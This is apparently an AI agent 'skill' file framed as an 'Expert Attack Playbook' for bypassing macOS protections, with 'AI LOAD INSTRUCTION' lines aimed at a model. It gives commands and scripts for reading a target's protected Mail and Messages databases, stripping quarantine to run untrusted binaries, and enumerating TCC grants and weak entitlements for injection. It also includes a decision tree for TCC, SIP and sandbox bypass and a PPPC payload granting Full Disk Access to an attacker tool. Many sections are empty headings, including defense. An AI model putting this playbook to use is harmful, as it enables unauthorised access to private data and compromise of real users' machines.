Macos Security Bypass

SKILL: macOS Security Bypass — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert macOS security bypass techniques. Covers TCC bypass, Gatekeeper evasion, SIP restrictions, sandbox escape, and entitlement abuse. Base models miss version-specific bypass nuances and protection interaction effects.

0. RELATED ROUTING

Before going deep, consider loading:

• macos-process-injection when you need dylib injection, XPC exploitation, or Electron abuse after achieving initial access
• linux-privilege-escalation for Unix-layer privesc techniques that also apply to macOS (SUID, cron, writable paths)
• linux-security-bypass for shared Unix security bypass concepts

Advanced Reference

Also load TCC_BYPASS_MATRIX.md when you need:

• Per-macOS-version TCC bypass mapping
• Protection-type-specific techniques (Camera, Microphone, FDA, Automation)
• MDM/configuration profile abuse patterns

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1. TCC (TRANSPARENCY, CONSENT, CONTROL) OVERVIEW

TCC is macOS's permission framework controlling access to sensitive resources (camera, microphone, contacts, full disk access, etc.).

1.1 TCC Database Locations

-- Query TCC database (requires FDA or SIP off)
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "SELECT service, client, allowed FROM access;"

1.2 TCC Bypass Categories

1.3 Known TCC Bypass Patterns

Terminal / iTerm FDA inheritance: Terminal.app granted FDA → any command run inherits FDA → read any file.

# If Terminal has FDA, this reads protected files directly
cat ~/Library/Mail/V*/MailData/Envelope\ Index
cat ~/Library/Messages/chat.db

Finder automation: Automate Finder (lower permission bar) to access files in protected locations.

tell application "Finder"
  set f to POSIX file "/Users/target/Library/Mail/V9/MailData/Envelope Index"
  duplicate f to desktop
end tell

System Preferences / System Settings injection: Inject into a process that already has TCC permissions by writing to its Application Scripts folder.

MDM profile abuse: PPPC profiles can pre-approve TCC permissions. Rogue MDM enrollment or compromised MDM server → push PPPC payload.

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2. GATEKEEPER BYPASS

Gatekeeper blocks unsigned or unnotarized apps from executing. Core enforcement depends on the com.apple.quarantine extended attribute.

2.1 Quarantine Attribute Removal

# Check quarantine attribute
xattr -l /path/to/app
# Output: com.apple.quarantine: 0083;...

# Remove quarantine (requires write access)
xattr -d com.apple.quarantine /path/to/app
# Recursive for app bundles
xattr -rd com.apple.quarantine /path/to/MyApp.app

2.2 Bypass Techniques

2.3 Gatekeeper Check Flow

App launched
│
├── com.apple.quarantine attribute present?
│   ├── No → execute (no Gatekeeper check)
│   └── Yes ↓
│
├── Code signature valid?
│   ├── No → block
│   └── Yes ↓
│
├── Notarized (stapled ticket or online check)?
│   ├── No → block (Catalina+)
│   └── Yes → execute
│
└── User override? (right-click → Open → confirm)
    └── Bypasses Gatekeeper once for this app

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3. SIP (SYSTEM INTEGRITY PROTECTION)

SIP restricts root from modifying protected system locations, loading unsigned kernel extensions, and debugging system processes.

3.1 SIP-Protected Locations

/System/
/usr/ (except /usr/local/)
/bin/
/sbin/
/var/ (selected subdirs)
/Applications/ (pre-installed Apple apps)

3.2 SIP Status & Configuration

csrutil status              # Check SIP status
csrutil disable             # Recovery Mode only
csrutil enable --without fs # Partial disable (risky)

3.3 Entitlements That Bypass SIP

3.4 Historical SIP Bypasses

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4. SANDBOX ESCAPE

macOS sandboxing (App Sandbox, via sandbox-exec or entitlements) restricts app access to filesystem, network, and IPC.

4.1 Office Sandbox Escape Patterns

4.2 IPC-Based Escape

4.3 Browser Sandbox

• Chromium: Multi-process model, renderer is sandboxed, browser process is not
• Safari: WebContent process sandboxed, parent Safari process has more privileges
• Exploit chain: renderer RCE → sandbox escape (via IPC bug to browser process) → system access

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5. CODE SIGNING & ENTITLEMENTS

5.1 Inspecting Signatures and Entitlements

codesign -dv --verbose=4 /path/to/app       # Signature details
codesign -d --entitlements :- /path/to/app   # Dump entitlements
security cms -D -i /path/to/mobileprovision  # Provisioning profile

# Verify signature validity
codesign --verify --deep --strict /path/to/app
spctl --assess --type execute /path/to/app   # Gatekeeper assessment

5.2 Entitlement Abuse for Privilege Escalation

5.3 Hardened Runtime Bypass

Hardened Runtime prevents: DYLD env vars, debugging, unsigned memory execution. Bypasses:

• Find entitled apps that weaken Hardened Runtime (disable-library-validation)
• Exploit JIT-entitled apps (browsers, VMs) for unsigned code execution
• Use get-task-allow entitled debug builds left in production

5.4 Library Validation Bypass

Library validation ensures only Apple-signed or same-team-signed dylibs load.

# Find apps with library validation disabled
codesign -d --entitlements :- /Applications/*.app/Contents/MacOS/* 2>/dev/null | \
  grep -l "disable-library-validation"

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6. PERSISTENCE AFTER BYPASS

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7. macOS SECURITY BYPASS DECISION TREE

Target is macOS endpoint
│
├── Need to execute untrusted binary?
│   ├── Quarantine attribute present?
│   │   ├── Yes → xattr -d com.apple.quarantine (§2.1)
│   │   └── No → execute directly
│   └── Gatekeeper still blocks?
│       ├── Signed but not notarized → right-click → Open override
│       └── Unsigned → embed in signed bundle or use archive tricks (§2.2)
│
├── Need access to TCC-protected resources?
│   ├── FDA-granted app available?
│   │   ├── Yes → exploit FDA app context (§1.3)
│   │   └── No ↓
│   ├── Automation permission obtainable?
│   │   ├── Yes → Apple Events to TCC-granted app (§1.3)
│   │   └── No ↓
│   ├── SIP disabled?
│   │   ├── Yes → direct TCC.db modification (§1.2)
│   │   └── No → check version-specific TCC bypass (→ TCC_BYPASS_MATRIX.md)
│   └── MDM present?
│       └── Compromised MDM → push PPPC profile (§1.3)
│
├── Need to bypass SIP?
│   ├── Check macOS version → historical SIP CVE? (§3.4)
│   ├── Find entitled Apple binary → piggyback SIP-bypass entitlement (§3.3)
│   └── Recovery Mode access? → csrutil disable (§3.2)
│
├── Need sandbox escape?
│   ├── Office macro context → dialog/LaunchAgent tricks (§4.1)
│   ├── XPC service with weak validation → IPC escape (§4.2)
│   └── Browser context → renderer → sandbox escape chain (§4.3)
│
├── Need to inject into signed process?
│   ├── disable-library-validation entitlement? → dylib injection
│   ├── allow-dyld-environment-variables? → DYLD_INSERT_LIBRARIES
│   ├── get-task-allow? → debugger attach
│   └── None → check macos-process-injection SKILL.md
│
└── Need persistence?
    └── Choose method by access level (§6)

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8. QUICK REFERENCE: TOOL COMMANDS

# Enumerate TCC permissions
tccutil reset All                              # Reset all TCC (admin)
sqlite3 TCC.db "SELECT * FROM access;"         # Read TCC DB

# Gatekeeper status
spctl --status                                 # Gatekeeper enabled?
spctl --assess -v /path/to/app                 # Check app assessment

# SIP status
csrutil status

# Find interesting entitlements across system
find /System/Applications /Applications -name "*.app" -exec sh -c \
  'codesign -d --entitlements :- "$1" 2>/dev/null | grep -q "disable-library-validation" && echo "$1"' _ {} \;

# List loaded kexts (kernel extensions)
kextstat | grep -v com.apple

# Sandbox profile inspection
sandbox-exec -p "(version 1)(allow default)" /bin/ls  # Test sandbox rules

TCC Bypass Matrix — Per-Version & Per-Protection Techniques

AI LOAD INSTRUCTION: Load this when you need version-specific TCC bypass details, protection-type-specific techniques, or MDM/PPPC abuse patterns. Assumes the main SKILL.md is already loaded for TCC fundamentals.

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1. TCC BYPASS BY macOS VERSION

1.1 Mojave (10.14)

1.2 Catalina (10.15)

1.3 Big Sur (11.x)

1.4 Monterey (12.x)

1.5 Ventura (13.x)

1.6 Sonoma (14.x)

1.7 Sequoia (15.x)

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2. TCC BYPASS BY PROTECTION TYPE

2.1 Camera & Microphone

2.2 Full Disk Access (FDA)

2.3 Automation (Apple Events)

2.4 Location Services

2.5 Screen Recording / Screen Capture

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3. MDM / PPPC PROFILE ABUSE

3.1 PPPC (Privacy Preferences Policy Control) Profiles

MDM-managed devices can push PPPC profiles that pre-approve TCC permissions without user consent.

<!-- Example PPPC payload granting FDA to a bundle -->
<dict>
  <key>Authorization</key>
  <string>AllowStandardUserToSetSystemService</string>
  <key>CodeRequirement</key>
  <string>identifier "com.attacker.tool" and anchor apple generic</string>
  <key>IdentifierType</key>
  <string>bundleID</string>
  <key>Identifier</key>
  <string>com.attacker.tool</string>
  <key>Services</key>
  <dict>
    <key>SystemPolicyAllFiles</key>
    <dict>
      <key>Authorization</key>
      <string>Allow</string>
    </dict>
  </dict>
</dict>

3.2 Attack Vectors

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4. TCC INSPECTION & RECONNAISSANCE

# List all TCC databases accessible
find / -name "TCC.db" 2>/dev/null

# Dump user TCC (requires FDA or SIP off)
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "SELECT service, client, client_type, auth_value, auth_reason FROM access;"

# auth_value meanings
# 0 = denied, 1 = unknown, 2 = allowed, 3 = limited

# List apps with specific TCC grants
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
  "SELECT client FROM access WHERE service='kTCCServiceSystemPolicyAllFiles' AND auth_value=2;"

# Check effective TCC for a running process
# (no direct API — must infer from TCC.db + entitlements + code signature)

# Enumerate entitlements of all running processes
ps -eo pid,comm | while read pid comm; do
  codesign -d --entitlements :- "$comm" 2>/dev/null
done

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5. DEFENSE & DETECTION